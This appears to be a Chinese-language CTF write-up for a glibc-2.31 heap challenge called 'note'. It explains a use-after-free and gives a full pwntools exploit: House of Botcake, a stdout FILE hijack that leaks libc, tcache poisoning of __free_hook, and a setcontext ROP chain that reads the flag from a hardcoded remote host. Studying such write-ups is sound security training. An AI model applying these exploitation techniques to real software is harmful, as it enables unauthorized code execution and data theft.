PWN+note

解题思路(必须包含文字说明+截图)

1.程序分析

题目给出一个名为 note 的 ELF 64-bit 可执行文件和 libc-2.31.so 动态链接库。题目描述为"Silent Note System",提供了 add / delete / edit 三个堆块操作功能,但没有 show 功能(无法直接读取堆块内容)。

使用 checksec 检查保护机制:

  • Full RELRO:无法覆写 GOT 表

  • Stack Canary:栈溢出受阻

  • NX enabled:堆/栈不可执行

  • PIE enabled:地址随机化

程序首先调用 setup_sandbox() 函数,通过 libseccomp 库设置沙箱规则。反汇编 setup_sandbox 函数可见允许的系统调用有:

  • brk(12)、mmap(9)、munmap(11)

  • exit(60)、exit_group(231)

  • open(2)、openat(257)

  • read(0)、write(1)

  • rt_sigreturn(15)

execve 被禁止,这意味着无法直接 get shell,需要采用 ORW(Open-Read-Write)方式读取 flag。

逆向分析核心函数:

add_note 函数(0x15DB):

  • 接收 index(0-15)和 size(1-1024)

  • notes[idx] = malloc(size),sizes[idx] = size

  • read(0, notes[idx], size) 读取用户数据

  • 如果该 index 已有堆块,旧指针直接被覆盖(造成内存泄漏,但非主要漏洞)

delete_note 函数(0x172B):

  • 接收 index(0-15),调用 free(notes[idx])

  • 关键漏洞:释放后未将 notes[idx] 和 sizes[idx] 置零

  • 导致悬垂指针(Dangling Pointer),后续可对已释放堆块进行读写

edit_note 函数(0x17D8):

  • 接收 index(0-15),使用 sizes[idx] 作为长度

  • read(0, notes[idx], sizes[idx]) 将数据写入 notes[idx]

  • 关键漏洞:未检查堆块是否已被释放,可直接对已释放堆块写入

  • 形成 Use-After-Free (UAF) 漏洞

main 函数:

  • 循环调用 menu() 显示菜单,get_int() 读取选择

  • 1→add_note、2→delete_note、3→edit_note、4→exit(0)

2.漏洞利用策略

核心漏洞:UAF(释放后可编辑)。由于没有 show 功能,无法直接读取堆块数据获取 libc 地址,必须通过篡改 stdout 的 FILE 结构体来触发输出泄漏。

整体攻击路径:

第一步:利用 House of Botcake 技术 + UAF 局部覆写获取一个重叠于 IO_2_1_stdout 的堆块,修改其 FILE 结构体,使后续 puts() 调用泄漏 libc 基址。

第二步:利用两次 tcache poisoning 将 ORW ROP 链和 setcontext 寄存器帧写入 __free_hook 附近内存区域。

第三步:释放一个精心构造的触发堆块,通过 __free_hook → magic_gadget → setcontext+61 完成栈迁移和寄存器设置,执行 ORW ROP 链条读取 flag。

3.第一阶段:泄漏 libc 基址

(1)预处理:由于程序使用 seccomp 沙箱,seccomp 自身会分配并释放一些堆块占用 tcache。先对各常用 size 大量分配释放,耗尽 seccomp 残留的 tcache 条目,避免干扰后续堆布局。

(2)堆布局准备:

  • 分配 chunk A:idx=0,size=0x88(实际 malloc 大小 0x90)

  • 分配 chunk B:idx=1,size=0x98(实际 malloc 大小 0xa0)

  • 分配 guard chunk:idx=3,size=0x20(防止与 top chunk 合并)

  • 分配 chunk X:idx=2,size=0x98

(3)填充 tcache:

  • 分配并释放 7 个 size=0x98 的堆块,填满 tcache[0xa0]

  • 分配并释放 7 个 size=0x88 的堆块,填满 tcache[0x90]

  • 此时这两种 size 的释放将进入 unsorted bin 而非 tcache

(4)构建 House of Botcake 双重链接:

  • free(idx=0) → chunk A 进入 unsorted bin,fd/bk = main_arena+96

  • free(idx=1) → chunk B 与 chunk A 相邻,glibc 触发向后合并

  • A+B 合并为一个 size≈0x130 的大堆块,留在 unsorted bin 中

  • alloc 7 个 size=0x98 的堆块(耗尽 tcache[0xa0])

  • free(idx=2) → chunk X 进入 tcache[0xa0](此时 tcache 已空,X 为 head)

  • free(idx=1) → chunk B(虽已合并入 unsorted bin,但 notes[1] 悬垂指针依然有效)再次被释放,进入 tcache[0xa0],形成重叠状态

此时 chunk B 同时存在于:

  • unsorted bin 的大合并块内部

  • tcache[0xa0] 的链表中

两者共享同一块用户数据区域。

(5)制造 libc 地址写入:

  • alloc 7 个 size=0x88 的堆块,耗尽 tcache[0x90]

  • alloc(idx=0, size=0x88) → 从 unsorted bin 大块中切割 0x90 字节

  • 切割后的 remainder 恰好在 chunk B 的位置

  • glibc 将 main_arena+96 写入 remainder 的 fd 字段(即 chunk B 的 tcache fd 位置)

此时 chunk B 的 tcache fd = main_arena+96(libc 地址)。

(6)局部覆写实现 stdout 劫持:

  • 利用 UAF,edit(idx=1) 局部覆写 chunk B 的 fd 低 2 字节

  • main_arena+96 低 2 字节固定为 0xcbe0(不受 ASLR 影响)

  • 覆写为 (nibble<<12)|0x6a0,其中 nibble 对应 IO_2_1_stdout 地址的第 3 个 nibble(1/16 概率正确)

  • tcache[0xa0] 链表变为:B → fake_chunk_near_stdout

  • alloc 两次从 tcache[0xa0] 获取堆块,第二次获取的是位于 IO_2_1_stdout 附近的伪堆块

(7)篡改 stdout 触发泄漏:

  • 向伪堆块写入精心构造的数据:

p64(0xfbad1800) + p64(0)*3 + b’\x00'

  • 0xfbad1800:设置 flags 包含 _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING | _IO_MAGIC 等标志位

  • 三段 p64(0):将 _IO_read_ptr、_IO_read_end、_IO_read_base 全部清零

  • b’\x00’:将 _IO_write_base 首字节置 0,使其远小于 _IO_write_ptr

  • glibc 在下一次 puts 调用时,认为缓冲区有待刷新的数据,将 _IO_write_base 至 _IO_write_ptr 的内容输出到 stdout

  • 此段数据中包含 libc 地址,从而完成信息泄漏

4.第二阶段:构造 ORW 载荷并劫持控制流

与常见做法使用三次 tcache poisoning 逐步写入 free_hook 区域不同,本方案采用更大的堆块尺寸(0xe8),仅需两次 tcache poisoning 即可写入完整载荷。

(1)ORW ROP 链设计(写入 free_hook+0x110 处):

open("./flag", O_RDONLY) → read(3, buf, 0x100) → write(1, buf, 0x100)

各 gadget 均来自 libc-2.31:

  • pop rdi; ret @ 0x23b6a

  • pop rsi; ret @ 0x2601f

  • pop rdx; pop rbx; ret @ 0x15fae6

  • pop rax; ret @ 0x36174

  • syscall; ret @ 0x630a9

  • ret @ 0x22679(用于栈对齐)

flag 字符串 “./flag\x00” 放置在 ROP 链尾部。

(2)第一次 tcache poisoning:

  • 释放两个 size=0xe8 的堆块,构造 tcache 链表

  • UAF 修改链表尾部堆块的 fd,指向 free_hook+0x110

  • 连续分配三次,第三次获得 free_hook+0x110 处的伪堆块

  • 将完整的 ORW ROP 链和 “./flag\x00” 写入

(3)第二次 tcache poisoning:

  • 释放两个 size=0xe8 的堆块

  • UAF 修改 fd 指向 free_hook

  • 连续分配三次,第三次获得 free_hook 处的伪堆块

  • 写入以下结构:

[0x00] magic_gadget (mov rdx,[rdi+8]; call [rdx+0x20])

[0x10] rdx_target = free_hook+8

[0x28] setcontext+61 (rdx+0x20 位置,magic_gadget 将调用此处)

[0x50-0x70] 各通用寄存器(r12-r15)填充为 0

[0x80] rbx = 0

[0x88] rbp = 0

[0xa8] rsp = free_hook+0x110 (指向第一步写入的 ROP 链)

[0xb0] rip = ret(栈对齐 gadget)

5.第三阶段:触发漏洞获取 flag

(1)分配一个普通的 size=0x98 堆块作为触发器(idx=14)

(2)编辑触发器,写入:p64(0) + p64(free_hook+8)

  • [0x00] 保留为 0

  • [0x08] = free_hook+8(将在 magic_gadget 中被加载到 rdx 寄存器)

(3)调用 delete(idx=14) 释放触发器

当 free(trigger_chunk) 执行时:

1. glibc 调用 __free_hook(trigger_chunk_addr)

2. __free_hook = magic_gadget,RIP 跳转到 magic_gadget

3. magic_gadget 执行 mov rdx, [rdi+8],得到 rdx = free_hook+8

4. 执行 call [rdx+0x20],跳转到 setcontext+61

5. setcontext+61 从 [rdx+0xa0] 恢复 rsp = free_hook+0x110

6. 从 [rdx+0xa8] 恢复并跳转到 ret gadget

7. ret 执行后,rsp 指向 ROP 链第一条 gadget(pop rdi; ret)

8. ORW ROP 链依次执行 open → read → write,将 flag 内容输出到终端

Exp

from pwn import *
import time

context(arch=‘amd64’, os=‘linux’, log_level=‘info’)
\

====== libc-2.31 offsets ======\

STDOUT_OFF = 0x1ed6a0
FREE_HOOK_OFF = 0x1eee48
SETCTX61_OFF = 0x54f5d
MAGIC_OFF = 0x151bb0

POP_RDI = 0x23b6a
POP_RSI = 0x2601f
POP_RDX_RBX = 0x15fae6
POP_RAX = 0x36174
SYSCALL_RET = 0x630a9
RET = 0x22679

TARGET_HOST = ‘39.96.193.120’
TARGET_PORT = 10011

def exploit(tube, nibble):
D = 0.2

def add(idx, sz, data=None):
if data is None:
data = b’A’ * sz
tube.sendlineafter(b’Choice’, b'1’)
tube.sendlineafter(b’Index’, str(idx).encode())
tube.sendlineafter(b’Size’, str(sz).encode())
tube.sendafter(b’Content’, data.ljust(sz, b’\x00’)[:sz])
time.sleep(D)

def delete(idx):
tube.sendlineafter(b’Choice’, b'2’)
tube.sendlineafter(b’Index’, str(idx).encode())
time.sleep(D)

def edit(idx, data):
tube.sendlineafter(b’Choice’, b'3’)
tube.sendlineafter(b’Index’, str(idx).encode())
tube.sendafter(b’Content’, data)
time.sleep(D)
\

—- Phase 0: Fill seccomp’s tcache by allocating many chunks —-\

for sz in [0x08, 0x18, 0x28, 0x48, 0x58, 0x68, 0x78, 0x88, 0x98, 0xb8, 0xd8]:
for _ in range(50):
add(15, sz)
\

—- Phase 1: House of Botcake - Leak libc via stdout —-\

Step 1: Allocate A(0x88 at idx0), B(0x98 at idx1), guard(0x20 at idx3), X(0x98 at idx2)\

add(0, 0x88, b’A’ * 0x88)
add(1, 0x98, b’B’ * 0x98)
add(3, 0x20, b’G’ * 0x20)
add(2, 0x98, b’X’ * 0x98)
\

Step 2: Fill tcache[0xa0] and tcache[0x90] (7 entries each)\

for i in range(4, 11):
add(i, 0x98)
for i in range(4, 11):
delete(i)
for i in range(4, 11):
add(i, 0x88)
for i in range(4, 11):
delete(i)
\

Step 3: Free A -> unsorted bin, free B -> merge with A (0x130 big chunk)\

delete(0)
delete(1)
\

Step 4: Drain tcache[0xa0] by allocating 7 chunks\

for i in range(4, 11):
add(i, 0x98)
\

Step 5: Free X -> tcache[0xa0], then free B again (UAF) -> tcache[0xa0] double-linked\

B is inside the merged unsorted bin chunk\

delete(2)
delete(1) # UAF: B goes to tcache[0xa0], head=B, B.fd=X
\

Step 6: Drain tcache[0x90]\

for i in range(4, 11):
add(i, 0x88)
\

Step 7: Split unsorted bin (0x130), allocate 0x88 -> remainder at B’s position\

glibc writes main_arena+96 to remainder’s fd (which is B’s user data = B’s tcache fd)\

add(0, 0x88)
\

Step 8: UAF partial overwrite B’s fd (now has main_arena+96 in low bytes)\

Overwrite low 2 bytes -> redirect to IO_ area\

main_arena+96 low 2B = 0xcbe0 -> target stdout = 0xd6a0\

edit(1, p16((nibble << 12) | 0x6a0))
\

Step 9: Pop from tcache[0xa0]: first pop = B (original), second pop = stdout area\

add(1, 0x98) # pop B
\

Step 10: Get chunk at stdout area\

try:
tube.sendlineafter(b’Choice’, b'1’)
tube.sendlineafter(b’Index’, b'1’)
tube.sendlineafter(b’Size’, b'152’)\

Write fake FILE struct flags to trigger libc leak\

tube.sendafter(b’Content’, p64(0xfbad1800) + p64(0) * 3 + b’\x00’)
time.sleep(0.5)
leaked = tube.clean(timeout=2)
if len(leaked) < 16:
return False
except:
return False
\

Parse leaked libc address\

libc_base = 0
for i in range(len(leaked) - 7):
val = u64(leaked[i:i + 8])
if (val >> 40) == 0x7f:
for off in [0x1ec980, 0x1ecbe0, 0x1ed6a0, 0x1ed5c0, 0x1ed4a0]:
cand = val - off
if cand > 0 and cand & 0xfff == 0:
libc_base = cand
break
if libc_base:
break
if not libc_base:
return False

log.success(f"libc base: {hex(libc_base)}")
\

Compute addresses\

free_hook = libc_base + FREE_HOOK_OFF
magic = libc_base + MAGIC_OFF
setctx = libc_base + SETCTX61_OFF
pop_rdi = libc_base + POP_RDI
pop_rsi = libc_base + POP_RSI
pop_rdxrbx= libc_base + POP_RDX_RBX
pop_rax = libc_base + POP_RAX
syscall = libc_base + SYSCALL_RET
ret = libc_base + RET
\

—- Phase 2: Write everything at free_hook area (2 poisonings) —-\

Strategy: Use chunk size 0xe8 for large payload capacity\

Poisoning 1: free_hook+0x110 -> ORW ROP chain + “/flag” string\

Poisoning 2: free_hook -> magic_gadget + setcontext frame\

Trigger: regular heap chunk edited with [8]=free_hook+8\


SZ = 0xe8 # Chunk size for poisonings (large enough for complete frame)
\

Clean up\

for i in range(4, 15):
delete(i)
time.sleep(0.3)
\

==== Poisoning 1: Write ORW chain at free_hook + 0x110 ====\

add(4, SZ)
add(5, SZ)
delete(4)
delete(5)\

tcache[SZ_bin]: head->5, 5.fd=4, 4.fd=NULL\

edit(4, p64(free_hook + 0x110)) # corrupt tail’s fd
add(6, SZ) # pop 5
add(7, SZ) # pop 4
add(8, SZ) # pop free_hook+0x110 (our target)

flag_addr = free_hook + 0x110 + 0xc0 # within this chunk: offset 0xc0
buf_addr = free_hook + 0x300 # safe area past free_hook

rop = b’’
rop += p64(pop_rdi) + p64(flag_addr) # open("./flag", 0)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rax) + p64(2)
rop += p64(syscall)
rop += p64(pop_rdi) + p64(3) # read(3, buf, 0x100)
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdxrbx) + p64(0x100) + p64(0)
rop += p64(pop_rax) + p64(0)
rop += p64(syscall)
rop += p64(pop_rdi) + p64(1) # write(1, buf, 0x100)
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdxrbx) + p64(0x100) + p64(0)
rop += p64(pop_rax) + p64(1)
rop += p64(syscall)

payload1 = rop.ljust(0xc0, b’\x00’) + b’./flag\x00’
edit(8, payload1)
\

==== Poisoning 2: Write magic_gadget + setcontext frame at free_hook ====\

add(9, SZ)
add(10, SZ)
delete(9)
delete(10)
edit(9, p64(free_hook))
add(11, SZ) # pop 10
add(12, SZ) # pop 9
add(13, SZ) # pop free_hook
\

Build frame at free_hook\

rdx = free_hook + 8 (set by trigger chunk’s bk)\

frame = bytearray(SZ)
frame[0x00:0x08] = p64(magic) # free_hook[0] = magic_gadget
frame[0x10:0x18] = p64(free_hook+8) # rdx = free_hook+8 ([rdi+8] in magic)
frame[0x28:0x30] = p64(setctx) # [rdx+0x20] = setcontext+61\

setcontext frame registers (rdx = free_hook + 8)\

frame[0x50:0x58] = p64(0) # r12 [rdx+0x48]
frame[0x58:0x60] = p64(0) # r13 [rdx+0x50]
frame[0x60:0x68] = p64(0) # r14 [rdx+0x58]
frame[0x68:0x70] = p64(0) # r15 [rdx+0x60]
frame[0x80:0x88] = p64(0) # rbx [rdx+0x78]
frame[0x88:0x90] = p64(0) # rbp [rdx+0x80]
frame[0xa8:0xb0] = p64(free_hook + 0x110) # rsp [rdx+0xa0]
frame[0xb0:0xb8] = p64(ret) # rip [rdx+0xa8]

edit(13, bytes(frame))
\

==== Phase 3: Trigger ====\

Prepare a regular heap chunk: [8] = free_hook+8 (= rdx for magic_gadget)\

add(14, 0x98)
edit(14, p64(0) + p64(free_hook + 8))
\

free(14) -> __free_hook(chunk) -> magic_gadget:\

rdx = [chunk+8] = free_hook+8\

call [rdx+0x20] = [free_hook+0x28] = setcontext+61\

setcontext+61:\

rsp = [rdx+0xa0] = [free_hook+0xa8] = free_hook+0x110\

rip = [rdx+0xa8] = [free_hook+0xb0] = ret (stack alignment)\

ROP chain at free_hook+0x110: open -> read -> write\

delete(14)

time.sleep(2)
result = tube.recvall(timeout=5)
if result:
log.success(f"Result: {result}")
return True
return False


if name == ‘main’:
for nib in range(16):
log.info(f"Attempt nibble = {nib:#x}")
try:
tube = remote(TARGET_HOST, TARGET_PORT)
if exploit(tube, nib):
tube.close()
break
tube.close()
except Exception as e:
log.warning(f"[{nib:#x}] {e}")
time.sleep(0.5)